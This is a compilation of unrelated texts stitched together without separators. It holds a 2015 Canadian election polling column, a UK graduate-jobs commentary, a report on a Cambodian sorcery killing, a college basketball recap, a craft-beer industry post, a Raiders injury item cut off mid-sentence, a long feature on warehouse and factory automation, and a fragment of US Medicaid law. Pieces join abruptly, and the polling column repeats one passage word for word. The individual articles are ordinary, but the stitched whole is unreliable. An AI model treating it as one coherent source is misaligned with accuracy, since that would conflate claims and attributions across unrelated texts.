But it’s the regional numbers in Quebec and Ontario that tell the story of voters talking turkey over the long weekend, and moving away from the Conservatives to the Liberals.
In Quebec, where EKOS saw a three-way tie on Sunday, with the NDP at 27, Liberals at 25 and Conservatives at 24 per cent, by Tuesday EKOS was reporting the Liberals surging to 31 per cent, with the NDP at 30 per cent — and the Conservatives plummeting to 17 per cent.
Two things are going on here. First, progressive ‘change voters’ are moving from the NDP to the Liberals. Second, Harper overplayed his hand on the identity issue last week when he mused about banning the niqab in the public service, as well as at citizenship ceremonies. Two things are going on here. First, progressive ‘change voters’ are moving from the NDP to the Liberals. Second, Harper overplayed his hand on the identity issue last week when he mused about banning the niqab in the public service, as well as at citizenship ceremonies.
That’s a seven-point drop in only two days, and it indicates that the niqab effect may have waned over the long weekend and turned against the Conservatives, even in Quebec.
At 17 per cent in Quebec, the Conservatives would win half a dozen seats at most in the Quebec City region, rather than the 20 seats they would win at 25 per cent.
In Ontario, where EKOS had reported a 39-39 Liberal-Conservative split at mid-weekend, with the NDP at only 14 per cent, by weekend’s end it reported the Liberals moving out to a big 43-31 lead, with the NDP at 17 per cent.
That would explain why those NDP ridings in Toronto, which weren’t on the Liberals’ list of winnable seats only two weeks ago, were suddenly worth a campaign stop by Trudeau on Tuesday.
Two things are going on here. First, progressive ‘change voters’ are moving from the NDP to the Liberals. These are the strategic ‘ABC voters’ who will support anyone in a position to beat Harper.
Second, Harper overplayed his hand on the identity issue last week when he mused about banning the niqab in the public service, as well as at citizenship ceremonies.
“It appears that the values issue has blown up in Harper’s face,” says EKOS President Frank Graves. “The shift from the economy has triggered a broader values debate that appears to awakened the slumbering moderate majority.
“The story of this election is that an important election on the economy has become a historic election on values.”
Something else was going on over the long weekend. After voters talked about the election around the family table, more than three million of them voted in advance polls that were open over four days.
Graves says EKOS was able to track the advance turnout by asking respondents if they had already voted. While Graves says many advance voters declined to reveal how they voted, they didn’t mind sharing the fact that they had voted. By Tuesday, advance voters counted for nearly 20 per cent of the EKOS sample.
What this amounts to is an exit poll in all but name, and what EKOS sees in the advance poll, says Graves, is a “neck-and-neck race” between the Conservatives and Liberals, with the NDP out of the running.
This isn’t difficult to figure out. Younger ‘change’ voters streamed to the advance poll to support the Liberals, with the Conservatives’ older cohort also turning out in droves — and the New Democrats simply may not have had the Get Out the Vote organization on the ground to match their opponents.
L. Ian MacDonald is editor of Policy, the bi-monthly magazine of Canadian politics and public policy. He is the author of five books. He served as chief speechwriter to Prime Minister Brian Mulroney from 1985-88, and later as head of the public affairs division of the Canadian Embassy in Washington from 1992-94. The views, opinions and positions expressed by all iPolitics columnists and contributors are the author’s alone. They do not inherently or expressly reflect the views, opinions and/or positions of iPolitics.
The views, opinions and positions expressed by all iPolitics columnists and contributors are the author’s alone. They do not inherently or expressly reflect the views, opinions and/or positions of iPolitics.All content featured on our charity site is produced by young volunteers with the support and mentoring of our professional production team.
Desperately Seeking a Salary: the great graduate job hunt
School. College. Uni. Job?
Wouldn’t hold your breath. According to the High Fliers graduate job survey published last week, work experience must now be squeezed into the equation. The review of the ‘Graduate Market in 2011’, based on one-hundred of the UK’s most successful employers, estimated that ‘32% of this year’s graduate vacancies will be filled by applicants who have already worked for the employer’ – in some sectors the proportion is over 50%. Martin Birchall, the research director, spelled out the findings: ‘New graduates have little or no chance of landing a well paid job with a leading employer, irrespective of the university they’ve attended or the academic results they’ve achieved’. Years of hard study melt into irrelevance.
So, with one in three graduate jobs going to those already ‘in’ with the employer, work experience is increasingly the route to a monthly salary. And the route to work experience? Unfortunately, this tends to involve contacts and financial support. As work experience is all too often the preserve of those from privileged backgrounds, job prospects for poorer graduates dwindle. The rule debarring those on work placements from claiming Job Seekers Allowance compounds the frustration of graduates who have to support themselves, leaving them with little choice but to accept non-graduate positions. Another slap in the face for equal opportunities.
Commenting on the High Fliers report, Universities Minister David Willets exhorts graduates to ‘work hard to maximize their chances of success’. But, Mr. Willets, it seems hard work won’t get you far without that shiny silver spoon.
Report and press:
http://www.highfliers.co.uk/download/GMReport11.pdfA Cambodian man whom villagers believed had spread illness through their community with black magic was killed in what was described by police as a “revenge” attack, media reported on Wednesday.
Chhem Yin was gunned down with an AK-47 rifle after local villagers had tried on four previous occasions to murder the 34 year-old.
Local police said villagers had filed complaints that the man had used sorcery to sicken people who lived nearby in Cambodia’s Pursat province.
Many people who live in Cambodia’s countryside believe in black magic and those who are accused of being witch doctors are often targeted with violence.
The murder, which took place on Monday evening, came after the murders of two other men believed by locals to have been witch doctors - one beheaded, the other man stabbed to death.
“This murder is revenge because villagers believed he was a sorcerer,” local police chief Srey Chhumneth told The Cambodia Daily newspaper.
“Our police are searching to arrest the murderer who escaped from the scene,” he added.
The victim had previously been questioned by police about using sorcery, but he had told them that he “did not know about black magic at all,” the policeman said.
Villagers believed that Chhem Yin’s father was a witch doctor and that he had passed on his sorcery skills to his son, said Keo Sokunthea, deputy provincial police chief.
“He was not a bad guy, but most people in the village did not like him because they believed he was taught black magic by his father,” he said.
“I have heard unidentified suspects attempted to kill the victim [previously], but no one knows who they were.”
Pak Sophea, a 53-year-old traditional healer, was beheaded last year after he was accused of practicing black magic. A week later another man was killed in Cambodia in similar circumstances.
A man allowed witch doctors to steam his wife alive in China earlier this year.LAHAINA, Hawaii -- Baylor led Dayton for a little more than 16 seconds in the second half Tuesday night. They were the right 16 seconds.
Cory Jefferson had a go-ahead putback in the waning moments and the 18th-ranked Bears rallied for a 67-66 victory in the semifinals of the Maui Invitational.
"We led 1-zip and we finished leading by one," Baylor coach Scott Drew said. "Everything else was chasing Dayton."
The Bears will play No. 8 Syracuse for the tournament championship Wednesday night.
After trailing nearly the entire game, Baylor (6-0) whittled away a 10-point deficit over the final 7 minutes. The Bears were down by one when Kenny Chery missed a jumper off the front of the rim, but Jefferson was all alone for the rebound and his layup gave Baylor a 67-66 lead with 16 seconds to go.
Vee Sanford missed a contested shot in close for Dayton with 2 seconds left, Devin Oliver's tip-in attempt bounced off the rim and Baylor grabbed the rebound as the final buzzer sounded.
"I don't know how I missed it," Oliver said.
Royce O'Neale and Chery had 13 points each for the Bears. Jefferson, Gary Franklin and Isaiah Austin added 10 apiece.
"We just wanted to be tough. Our mental toughness was in question as a team, so we just wanted to stay together, be tough and try to pull one out and that's what we did," Chery said.
Jordan Sibert led Dayton (5-1) with 20 points and Oliver had 14.
Baylor trailed by 14 with less than 5 minutes left in the first half before going on a nine-point run to cut it to 33-28 at halftime.
The Flyers built the lead back up over the first part of the second half behind Sibert, but missed seven of their last 10 shots.
"For about 30 minutes in that game our guys looked about as good as any team in college basketball," Dayton coach Archie Miller said.
But he thought the Flyers lost the necessary intensity in the final minutes of the game.
"We just gave them too many opportunities to slice into us," Miller said.
O'Neale's 3-pointer trimmed Dayton's lead to 63-62 with 2:19 remaining. Oliver answered with a 3 but then Franklin hit from beyond the arc to make it 66-65 with 1:22 to play.
After a Baylor timeout, Oliver missed a jumper and the Bears grabbed the rebound.
Baylor shot just under 58 percent in the second half after shooting less than 42 percent before the break. The Bears finished at 50 percent (25-of-50).
"It was a great game to watch, a typical Maui-type game," Drew said.
Despite playing from behind most of the game, Baylor had more second-chance points and points off turnovers than the Flyers.
Dayton, which didn't receive any votes in the latest Associated Press Top 25 poll, was trying for its second upset of a ranked team in two nights. The Flyers beat No. 11 Gonzaga in the first round of the tournament Monday.
Dayton will play California in the third-place game.In case you hadn’t heard, some big news went down yesterday with Anheuser-Busch purchasing 10 Barrel Brewing based in Bend, Oregon and we couldn’t help but notice some serious frustration on the part of craft beer lovers across the country. When the news hit around 9 AM Pacific, there was so much wailing and gnashing of teeth over yet another craft brewer seemly being overrun by the largest brewer in world, we felt it was time for some introspection on what it all means.
Unpacking this big change requires us to look at the landscape that’s brought us to where we are:
August 2008 – Widmer Brothers Brewery and Redhook Ale Brewery merge and later enlist Kona Brewing in 2010 to officially become the Craft Brewers Alliance.
January 2011 – Brewers Association adjusts its bylaws to allow for a larger production ceiling, enabling the Boston Beer Company, of Samuel Adams fame, to remain a “craft brewery.”
March 2011 – Goose Island Beer Company sells their controlling stake to Anheuser Busch.
December 2012 – Oskar Blues Brewing opens East Coast operations in Brevard, North Carolina.
January 2013 – AB-InBev purchases 32.2% of Craft Brewers Alliance.
October 2013 – Duvel Moortgat Brewery purchases Boulevard Brewing.
July 2014 – Sam Calagione of Dogfish Head posits to Bon Appétit that “we’re heading into an incredibly competitive era of craft brewing. There’s a bloodbath coming.”
2015 and Beyond – New Belgium Brewing, Sierra Nevada Brewing and Stone Brewing are all slated to open East Coast breweries, with Stone planning a brewery in Berlin, Germany as well.
It’s awfully clear that the biggest in the craft beer world are growing even bigger, whether it be on their own, with private investment or even going public. So it only makes sense that a few will even be snatched up by the biggest brewers ever known to man, yet demand is still growing and experimentation continues, even at those brewers who’ve supposedly “sold out.” And what about those brewers above who’ve already taken the plunge? Are their beers worse as a result?
Right now we’re all witnessing the explosive and almost miraculous rebirth of real beer being brewed by Americans again. It’s a beautiful thing that we must never take for granted and it’s for this reason that the purchase of 10 Barrel is a bit disconcerting. Sure, it’s a win for AB-InBev and for these brewers who’re just trying to meet demand while taking on all the issues that come with operations and distribution, yet what’s the precedent being set? How many little guys will the biggest brewers take under their wing before we’re back to 3 to 5 large national brewers making homogenous beers?
And while it seems clear to us that most brewers would never open their door if Budweiser came a-knocking, for those who do, they need to be wary of today’s craft beer consumer changing their allegiance. While a move like this is unlikely to put a brand out of business and those that’ve done it before have yet to be harmed, the beer snobs are growing in number and they’re a little pissed off right now.
What’s shocking to everyone is that this smaller regional chain of brewpubs and perennial favorite at the Great American Beer Festival would jump in with both feet. It’s their business and if they feel this was their best chance to survive and accomplish their goals, then hey, more power to them. Does it make the smaller brewers, those struggling to remain relevant, even more nervous and put them at future risk? Maybe so, yet increasing competition in this unique, mostly communal industry breeds ingenuity, a co-operation between brewers and a strengthening of the bonds that tie them together. We don’t see 10 Barrel changing much about who they are as a brewery just yet and they seem pretty happy about their decision, as seen below. We’ll just have to wait and see for ourselves…Mark the calendar. As of week 9 of the 2013 NFL season, Raiders rookie second round pick set foot in his very first NFL regular season game. He was also active for the first time this season after recovering from a calf injury that had lingered and flared up twice since he initially injured it in the off-season.
The injury had him out all but the final day of training camp. He returned midway through camp but left after just ten minutes when he re-injured the calf.
He played in the team's final preseason game at left tackle and looked set to start there in place of Jared Veldheer who was placed on partial season injured reserve with an injured triceps that required surgery. That plan was thwarted when he suffered a knee injury in the week leading up to the season opener.
Just as he came back from the knee injury, he re |
same complement of jobs, and not in their old numbers. Last year, for the first time in decades, the number of Americans employed in manufacturing increased—more jobs returned or were created than left—and automation-enabled “reshoring” is a big reason for that. In a hundred-and-twenty-five-thousand-square-foot factory in the town of Hatfield, Pennsylvania, forty-five minutes north of Philadelphia, dozens of giant, automated industrial presses loom over a cement landscape. They belong to the Rodon Group, one of the largest family-owned injection-molding companies in the country. Founded in 1956, the company makes millions of high-end plastic parts each year: containers for cosmetics, caps, pushpin heads, bottle tops. One of Rodon’s subsidiaries was a “construction toy” company—comparable to Lego and Fischertechnik—called K’Nex. The K’Nex line had been invented by the son of the Rodon Group’s founder, and, in the late nineteen-nineties and early two-thousands, it was run by a former Hasbro executive. Hasbro, like most of the American toy industry, had moved its production to China, and the executive decided to do the same thing with K’Nex. There were trade-offs with outsourcing: quality control was less reliable, and it was harder to respond nimbly to changing customer demands in the trend-driven toy business. But the savings were dramatic; on average, it cost less than half as much to make a product in China as it did in the United States. Michael Araten, the current C.E.O. of K’Nex Brands and the grandson-in-law of Rodon’s founder, told me that business had been relatively stable until the financial crisis arrived, and sales plunged. Rodon laid off around forty people, about a third of its workforce. Araten said that when business picked up the discussion quickly turned to how the company could rehire those people. One obvious solution presented itself: K’Nex could bring its manufacturing back to the United States so long as it could remain price-competitive with the China-sourced toy companies. K’Nex managers concluded that reshoring was feasible, but they would have to automate as much of the process as possible. On a recent visit, the plant’s manufacturing floor was filled with the sound of molding presses clamping down with as much as four hundred tons of pressure. No people were visible. Most of the presses work twenty-four hours a day, drawing plastic resin into a hopper, heating it to six hundred degrees Fahrenheit, and then blasting the liquid into molds, which are enormous blocks of stainless steel, precision-fabricated in an adjacent tool shop to create the shape of the desired part. (The molds used to be hand-fashioned by tool-and-die-makers, who were considered artisans; now a series of programmable robots do most of the job.) Automated arms lift the parts up to cool, before depositing them in boxes. The completed parts are bright orange, purple, and red, and resemble dime-store candies. Once the boxes are full, human workers replace them, and wheel the full ones away to be shipped out to their customers. A twenty-five-year-old “automation tech” named John Wilson had been hired to help integrate robotics into the plant as it moved toward increasing automation. Wilson is pale and thin, with glasses and a dark beard; he speaks in a low monotone, and gives the sense of someone who is more comfortable interacting with screens than with people. The child of two accountants, Wilson completed a mechanical-engineering degree at Philadelphia University in 2014, and said that he had sought out a manufacturing job where he could work directly with different types of automated machines. The Rodon Group had obliged. During Wilson’s three years at the company, twenty-four new automated presses have been introduced. There was a time when a plant worker was dedicated to each press, shovelling in plastic polymers, pulling the cranks and pushing the buttons, and scooping out the finished products and loading them onto trucks. Now, Wilson explained, one operator manages between eight and ten presses, which are overseen by digital systems. As at Steelcase, the robots have reduced accidents. When I asked if there were any jobs in the plant that automated machines couldn’t do, Wilson thought for a moment and said, “Cleaning up the floor after these machines, and machine-tending.” A robot picks apart a yellow daisy at Brown University’s Humans to Robots lab. Photograph by Grant Cornett for The New Yorker By installing robots and controlling its payroll and other costs, the company has been able to make ninety per cent of its parts and products in the United States—a move that Araten likes to describe as “patriotic capitalism.” Rodon and K’Nex use their made-in-the-U.S.A. credentials in their marketing. President Obama visited the Hatfield plant in 2012; Hillary Clinton stopped by in 2016. “The choice of how you spend your money really matters,” Araten said. “If you buy stuff from an American farmer or manufacturer, you’re helping an American family.” Sitting in a company conference room that was lined with shelves displaying plastic toys and framed vintage production orders from the nineteen-fifties, Araten said, “I talk to C.E.O.s all the time who say, ‘It’s not my job to worry about the rest of the country.’ And I say, ‘Well, whose job is it? You’ve got to do what you can in the United States to keep the United States strong.’ ” He went on, “If you think there is a benefit to having a stable citizenry that has good-paying jobs, that can support a family, you need to be willing to make some trade-offs there. Our responsibility is, yes, to our shareholders but also to our employees, and to our community. We made a decision—we are willing to make less of a profit in order to keep jobs here.” Araten acknowledged that, relative to sales, the Hatfield factory employed fewer people than it had done in the past. (Rodon’s revenue has grown by an average of fifteen per cent over each of the past five years, while its staffing has increased much more modestly.) But the jobs that they do have and will have, he said, will be higher skilled and better paying. He argued that the government could encourage similar moves by other companies, through tax policy and major investments in education, while also preparing for the coming technological changes. Still, even Araten isn’t immune from the call of high finance: last year, he and the rest of the family decided to sell K’Nex to a Chinese-French private-equity firm, Cathay Capital. It is unclear whether his new partners will be aligned, over the long term, with his people-before-profit philosophy. “The winds are changing,” Araten said. “I think part of the reason populism is rising around the world is that the gap is getting too big. Having so much inequality creates instability in a country. Maybe twenty years ago, we still had too many poor people, but they believed that they had a shot. I believe some of that is being sucked away.”
Manufacturing jobs now account for less than ten per cent of the American workforce. As plants have closed, displaced employees have sought work in fast-food restaurants or in big-box retail stores, where the pay and the benefits are substantially less attractive. And, increasingly, even those jobs are fading away. Storefront retail is fast losing ground to the online marketplace. McDonald’s is introducing “digital ordering kiosks” that are expected to replace human cashiers at fifty-five hundred restaurants by the end of 2018. Meanwhile, companies like Uber and Google are investing heavily in autonomous-driving technology, betting that such vehicles will reshape transportation. In August, 2016, Uber purchased Otto, a startup based in San Francisco that sells technology designed to automate long-haul trucking. There are nearly two million long-distance truck drivers in the United States, most of whom are male and lack a college degree; paying for them accounts for a third of the costs in the seven-hundred-billion-dollar trucking industry. Construction jobs, too, are threatened by automation; a New York-based firm has introduced a laser-guided system that can lay eight hundred to twelve hundred bricks a day, more than twice as many as an average mason. For low-skilled workers, warehouse jobs have seemed to be something of a bright spot. Even if fewer people are required to staff a Target or a Sam’s Club outlet, the movement of products requires a network of warehouses to store and ship goods. Amazon—the world’s largest online retailer—currently has more than ninety thousand employees at its U.S. distribution centers, and plans to hire tens of thousands more. Workers still do the “picking” in a warehouse, using their dexterous fingers and discerning brains to take soap and coffee and tubes of toothpaste and millions of other products off the shelves and put them into boxes to fulfill the online shopping orders that make up an increasing portion of consumers’ buying patterns. But the same factors that make warehouses a draw for labor have made them a tempting target for automation. In 2012, Amazon spent almost eight hundred million dollars to buy a robotics company called Kiva, which makes robots that can zoom around a factory floor and move tall stacks of shelves of up to seven hundred and fifty pounds in weight. A Deutsche Bank research report estimated that Amazon could save twenty-two million dollars a year by introducing the Kiva machines in a single warehouse; the savings company-wide could reach into the billions. With such a powerful incentive, Amazon is on a quest to acquire or develop systems that can replace human pickers. When, in June, it announced plans to buy the Whole Foods supermarket chain, speculation quickly spread that the company intended to automate the grocer’s food-distribution centers as well as its stores. Simply automating a legacy warehouse, however, is a halfway measure, as a visit to Symbotic makes clear. A privately held company based in an industrial park outside Boston, it sells fully automated warehouse systems to large retail chains, and the new warehouses resemble the old ones about as much as a Tesla resembles a Model T. The company’s twenty-thousand-square-foot test center is a giant cube of interlocking green, yellow, and white steel shelving, tracks, and cages that extend from the floor almost to the ceiling. There are no aisles for lifts to pass through, and no stations for human product pickers. There is no space inside the matrix for people at all. Robotic arms unpack pallets of tomato sauce, salsa, toilet paper, and soda, and place them on a blue conveyor belt, where they are carried deep into the storage cage. A fleet of little green robots that look like race cars in a Pixar film come to life and zoom inside the cage on dedicated tracks, emitting high-pitched whirring sounds. They collect the cases of products and stash them on shelves until they are needed. Then an algorithm directs the little car-bots to go back in and bring the desired products out. “This absolutely reinvents the warehouse,” Chris Gahagan, Symbotic’s C.E.O., said as he showed me around. He is a muscular fellow with dirty-blond hair pulled back in a ponytail, and looks as if he could have had an alternate career leading tourists on spelunking trips through Belize. “Now you can build an even smaller warehouse, or carry more skus, or serve more stores out of the same warehouse. It gives you huge flexibility.” Gahagan was recruited in 2015 by Symbotic’s owner, Richard B. Cohen, the press-shy billionaire owner of the C&S grocery wholesaler. Cohen had wanted a system that would make his grocery warehouses more efficient; then he realized that he could make a business of selling it to other retailers. Symbotic says it now has more orders than it can swiftly fulfill. The automated system, Gahagan notes, produces more efficiencies than are obvious at first glance. Because it can store more products in a smaller space, companies could have more compact warehouses closer to their retail outlets, requiring less trucking. The robots don’t need light to operate, so the warehouse could use, Gahagan estimated, thirty-five per cent less energy than a conventional one, while reducing labor costs by eighty per cent. Many warehouse operators run their businesses based on labor hours, in order to minimize overtime pay, among other things. But an automated system could run twenty-four hours a day. A typical system costs around fifty million dollars to install, Gahagan said—not an insignificant investment. But, he maintained, it would pay for itself, on average, in four and a half years. We walked past a “Safety Is Our First Priority” sign on the wall, an artifact from a time when there might have been frequent worker injuries in such a place, and clambered up a set of steel stairs. All around us, machines were moving, gracefully and tirelessly executing their tasks. “Folks, if that’s not government interference I don’t know what is.” “You start to look at all the costs that you can avoid,” he told me. “It’s phenomenal. So, as soon as one company does this, it makes it more competitive.” That instantly puts pressure on competitors to follow suit. “You can’t just sit there being that inefficient,” Gahagan went on. “Your assortment in your store is not as good, you’re paying more for labor, more for trucking. If a new startup came along in retail, it would start with this.” He gestured around at the cavernous, chilly space. The most important human job at a Symbotic warehouse is that of the “system operator,” which is akin to a job in flight operations, where you sit all day behind a bank of screens and make sure that everything’s working right. A couple of human workers were needed—for now—to help unload and load the trucks as they came and went with the inventory, and four or so mechanics were kept on staff to service the bots when they needed it (because “shit happens”). In all, the average system requires eight or nine people per shift, a fraction of what a traditional warehouse requires. Most jobs in warehouses are undesirable and hard to fill, Gahagan assured me. A typical worker might lift thousands of pounds of goods each day and walk the equivalent of a marathon, five or six days a week. It could be freezing in the winter, and sweltering during the summer months. “Their turnover is huge,” he said. With the robotic version, one higher-skilled person sits behind a console and types in commands, and is paid almost twice as much per hour as a manual laborer would be. Gahagan was reluctant to talk about Symbotic’s customers, who aren’t keen to draw attention to their interest in nearly human-free warehouse systems. “There is some sensitivity, given our... political situation,” he said. “It’s just a reality of the times that we live in.” But the Wall Street Journal has reported that Target is trying a Symbotic warehouse and that Walmart has installed several. Gahagan allowed that what he called the “red” cola giant—Coca-Cola—is using two Symbotic distribution centers. (“It was tricky with the unions, but they’ve made it work.”) Now, he said, Coke’s main competitor, the “blue one”—Pepsi—wanted to try the system. “If someone can start a warehouse with automation and sell for less, everyone else has to follow,” Gahagan said. “Consumers buy on price, so the cost on the supply chain matters. Walmart, it made a very efficient supply chain and that’s why it was able to offer the lowest prices in its stores, so everyone else had to compete. And now you’re seeing that happen with automation.” He observed that technological innovation has been happening in one way or another for a hundred years. Tractors replaced manual plows, but we were now able to produce much more food, he said; A.T.M.s replaced tellers, but banks still employ hundreds of thousands of people. “Imagine placing a phone call when you had to have someone place a wire into a socket for you,” he said. “Being on a switchboard—those were good jobs. Every time technology has evolved, yes, individual people are impacted.... But the standard of living has gone up. I’d rather be in the world we’re in today than a world without computers, without cell phones, a world without elevators.” We walked onto a platform where we could see a track on which the mobile robots were lined up, waiting to be called into action. Occasionally, one of them would whirr its motor and blast off, like a little rocket. Gahagan looked down on his robot army with affection and awe. “Depending on who’s in the White House next, you get to the fifteen-dollars-an-hour labor or twenty dollars an hour?” Gahagan said. “I’m voting for a thirty-dollar-an-hour minimum wage. That’d be fantastic marketing for us.”
If the fully automated warehouse was a structurally different entity from its precursors, what about the fully automated factory? Gahagan had pointed out that other countries were embracing industrial robotics more aggressively than the United States was. I saw the scale of this during a recent trip to China. One steamy afternoon, I boarded a bus in downtown Shanghai and headed south along the Huangpu River, far from the city’s noodle shops and glittering luxury fashion emporiums. About half an hour later, I reached a vast, low building, where hundreds of bicycles were parked in a covered lot. Inside, I was greeted by Gerry Wong, the C.E.O. of Cambridge Industries Group, which manufactures telecommunications equipment—more than three million items a month—for companies such as Huawei, Nokia, and Alcatel-Lucent. Wong grew up in Beijing, studied electrical engineering at M.I.T., and worked at Bell Labs for fifteen years. He started C.I.G. in 2005, and says that the company produces between two and three million products each month. He has the air of an excitable gnome, with a mop of black hair, thick seventies-style eyeglasses, and a wicked laugh. Wong sat with his back to a wall of dozens of screens, which depicted various production metrics and live video of the manufacturing floor, where workers—and an increasing number of robots—were fabricating circuit boards. (I was there on a trip with a nonprofit called the China-U.S. Exchange Foundation.) He quickly demonstrated the lack of sentimentality with which many businesspeople in China approach the subject of automation. C.I.G. is trying to replace as many human workers with robots as possible, he explained. Three or so years ago, the company had thirty-five hundred people at work in the factory. Two years ago, it was twenty-five hundred. Today, it is eighteen hundred. Over the same period, he said proudly, the company’s output had doubled. “China’s labor costs are increasing, or doubling, every few years,” Wong explained. “We are actually overcoming the difficulty by increasing our efficiency, through automation.” For Chinese businesses, Wong said, lean manufacturing must include industrial automation, and they couldn’t make it happen fast enough. Much of China’s economic power during the past two decades came from its position as the manufacturing engine of the world, but in the past several years its growth has started to slow. China was never a particularly convenient place for Western companies to have their sneakers and T-shirts and widgets made; the main allure was cheap labor. With Chinese wages increasing sharply every year, though, manufacturing there has become less attractive, and the Chinese government is devoting enormous resources to making the country the automation capital of the world. As we put on gowns, hairnets, and cloth shoe covers in preparation for entering the clean manufacturing area, Wong elaborated on China’s need for swift automation. There was a labor shortage, he said, exacerbated by the longstanding one-child policy. And, as the population has become wealthier and the cost of living higher, fewer people were willing to do manufacturing work. “Try to ignore the hot-dog smell.” “We are pushing all industries to go to all automation,” Wong said. And the employees seemed compliant. “Probably they don’t care very much, not like back in the industrial revolution, in Europe, where they would go and destroy machines. That was the old days.” “They leave, anyway,” Rose Hu, a brisk, blunt woman who works as C.I.G.’s senior vice-president of marketing, said. “Every Chinese New Year, almost eighty per cent of the people, they will not come back. You have to have new.” We passed through a pressurized air lock that blasted away whatever dust or lint we had on our persons, and entered the clean part of the plant. Rows of orderly white machines, tended by workers wearing what looked like chef’s hats, were moving circuit boards through the assembly line. Robotic arms, behind windows, were doing most of the work, while the mortals did tasks that required fine motor skills, like plugging tiny components into place. Every now and then, a cute little robotic trolley came ambling down an aisle, playing Mozart to alert the humans that it was approaching. (Until recently, most industrial robots were separated from human workers by steel cages, to protect the workers from injury. Now robots that can work alongside humans without harming them have come into use.) Two workers hovered at a workstation and jammed connectors into holes in a line of circuit boards before sending them into a glassed-in chamber, where robotic arms soldered the pieces together. “There were thirteen people doing this. Now we have only one or two,” Hu said, gesturing at the two workers, one man and one woman, both young adults. “Before, we used people to solder. We used to have sixty-three people to finish one thing, and as of last year we need only sixteen people.” The circuit boards continued down an automated conveyor belt. Other robots placed stickers on boxes, before a group of humans moved in to place the circuit boards in the boxes, along with packing materials. “Closing the box—this is for some reason hard to automate,” Hu said, shaking her head. Each time I asked about what happened to the displaced workers, Hu and Wong waved away the question, amused at the predictable direction of my inquiries. Hu insisted that factory workers would simply find another place in the economy, such as the service sector. “We already went through several industrial revolutions—and we still have a job!” she said. “I think it’s people who haven’t lived through the industrial revolution who don’t understand this. The world changes. You constantly have to improve yourself to keep up.” Later, back in the room with the surveillance monitors, Wong gave me a slide show on the history of industrial revolutions. The first phase began around 1800, in Wong’s rendering, when the steam engine came into use, and was based in Britain, France, and Germany. The second phase, in 1900, saw the advent of electricity, and was centered in the U.S., the U.K., and Germany. The third was the information-technology revolution, beginning in 2000 and concentrated largely in the U.S., Germany, Japan, and Korea. Wong’s point was that China intended to be at the forefront of the fourth phase, which would center on integrating robotics and artificial intelligence. Finally, he put up a slide that said “The future: ‘Dark Factory.’ ” “You don’t need workers, you turn off the lights,” Wong explained, chuckling. “Only when an American journalist comes in we turn on the light.”
Stefanie Tellex, the roboticist at Brown University, grew up in a conservative Catholic family in a suburb of Rochester that abuts Lake Ontario, where, she says, “everyone’s got a house and a yard, and there’s no crime.” Her father was an accountant; her mother taught second grade in downtown Rochester. Tellex became interested in computers as a child. Her father gave her an old DOS 486 when she was in grade school; her aunt, a programmer, supplied books of simple coding exercises. Tellex was admitted to M.I.T. and planned to pursue a liberal-arts degree, but her mother told her that liberal-arts graduates didn’t make any money. (“One of the best pieces of advice I’ve ever gotten.”) She completed her computer-science Ph.D. there in 2010. She said that “The Jetsons,” the sixties-era animated TV series, helped spark her interest in robots. “When I think of A.I., that’s what I think of, the robot,” she said. “There’s a scene where they’re drinking smoothies together, the mom and the robot, who has a relationship with the family, but on the show she’s a servant. And she can do everything you can do.” After Winnie completed its petal-plucking tasks in Tellex’s lab, we sat down in her office. She told me that she had never thought about the political implications of her field until the tense months leading up to the 2016 Presidential election. Her parents were Trump voters, and she found herself disagreeing with them about what the causes of society’s ills were, and what the best solutions might be. She was alarmed by the anti-immigrant sentiment emanating from Trump’s rallies, especially having spent her adult life surrounded by researchers from all over the world. Economic inequality was a driving theme of the election, and Tellex began to see that automation was a contributing factor. The economy was generating wealth, but almost all of it seemed to be going to the wealthy. The official unemployment rate has dropped to 4.2 per cent in the United States—its lowest level in ten years—and the economy is expanding, but wages for most workers have scarcely budged. In 2015, the Princeton economists Anne Case and Angus Deaton identified a surprising data pattern that reflects these economic fault lines, finding that mortality rates for middle-aged white non-Hispanic Americans with only a high-school diploma have been increasing since the late nineteen-nineties. They attribute this trend to “deaths of despair” tied to the long-term loss of economic opportunity, particularly blue-collar jobs, and to possibly related factors such as opioid abuse. Deaton listed globalization, immigration, and technological change as likely factors behind the decline of middle-income workers and the related rise in inequality, but noted that, in the developed world, stagnant wages and an associated increase in death rates were unique to the United States. “The political explanation is the one that seems to make most sense,” he told me. What does he worry about if these trends continue? “How about pitchforks?” Deaton said, laughing awkwardly. “I mean, I don’t think this is stable politically. The Trump thing is probably just the beginning.” “One day, I will catch the koi fish that nibbled my left leg.” Tellex has been conducting her own research into the causes of income inequality and, with her friends, has amassed a reading list of academic studies and news articles. She is drawn to the idea of a universal basic income, in which citizens would receive enough money from the government to cover living expenses. Ultimately, she knows, blue-collar workers are not the only ones who may need such economic assistance. The disruption spurred by automation is not anticipated to be limited to low-skilled work; significant encroachments are expected in the white-collar sector as well, with experts predicting that professionals such as accountants, doctors, lawyers, architects, teachers, and journalists will all compete with increasingly capable computers in the future. There were ways, Tellex believed, to mitigate the effects of rising inequality without vilifying immigrants or blaming technology. “I’m one of the few people among my friends who regularly talks to Trump voters,” she said. “There’s enough money for everyone, I keep telling them—there is. It’s just not in your pocket, it’s in the one per cent’s pocket. If only we had the right progressive tax system, this wouldn’t be such a problem. As a roboticist, I feel a responsibility to communicate this to people.”(D)
payment for primary care services (as defined in subsection (jj)) at a rate that is not less than 100 percent of the payment rate that applies to such services and physician under part B of title XVIII (or, if greater, the payment rate that would be applicable under such part if the conversion factor under section 1848(d) for the year involved were the conversion factor under such section for 2009), and that is not less than the rate that would otherwise apply to such services under this title if the rate were determined without regard to this subparagraph, and that are furnished in Puerto Rico on or after January 1, 2017—
(i) by a physician with a primary specialty designation of family medicine, general internal medicine, or pediatric medicine, but only if the physician self-attests that— (I) the physician is Board certified in family medicine, general internal medicine, or pediatric medicine; or (II) with respect to the most recently completed calendar year (or in the case of a newly eligible physician, the preceding month), 60 percent of all services the physician billed for under the State plan or a waiver under this title, or provided through a medicaid managed care organization (as defined in section 1903(m)(1)(A)), were for services described in subparagraph (A) or (B) of subsection (jj)(1);
(ii) by a physician with a primary specialty designation of obstetrics and gynecology, but only if the physician self-attests that— (I) the physician is Board certified in obstetrics and gynecology; and (II) with respect to the most recently completed calendar year (or in the case of a newly eligible physician, the preceding month), 60 percent of all services the physician billed for under the State plan or a waiver under this title, or provided through a medicaid managed care organization (as defined in section 1903(m)(1)(A)), were for services described in subparagraph (A) or (B) of subsection (jj)(1);
